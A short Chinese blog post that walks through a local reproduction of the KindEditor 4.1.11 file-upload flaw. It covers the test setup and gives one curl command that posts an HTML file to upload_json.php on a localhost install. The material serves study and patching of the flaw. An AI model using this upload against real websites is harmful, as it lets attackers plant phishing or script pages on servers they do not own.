准备工作:

phpstudy,kindeditor 4.1.11官方下载:http://kindeditor.net/down.php
注:attached,为图片及文件上传存放的路径需要自己建立。
修改js名称,将kindeditor-all.js改成kindeditor.js
1.png
(默认的demo调用的js文件名称就是kindeditor.js,当然也可以修改demo中调用的名称)

测试demo

访问测试的地址,出现如下界面说明正常:
2.png

漏洞复现

准备一个html文件,内容随便写就好,比如 1.html
使用curl提交

curl -F "imgFile=@1.html" http://127.0.0.1/test/kindeditor/php/upload_json.php?dir=file

返回值
3.png

访问一下上图返回的地址
4.png

参考资料

https://github.com/kindsoft/kindeditor/issues/249

标签: none

添加新评论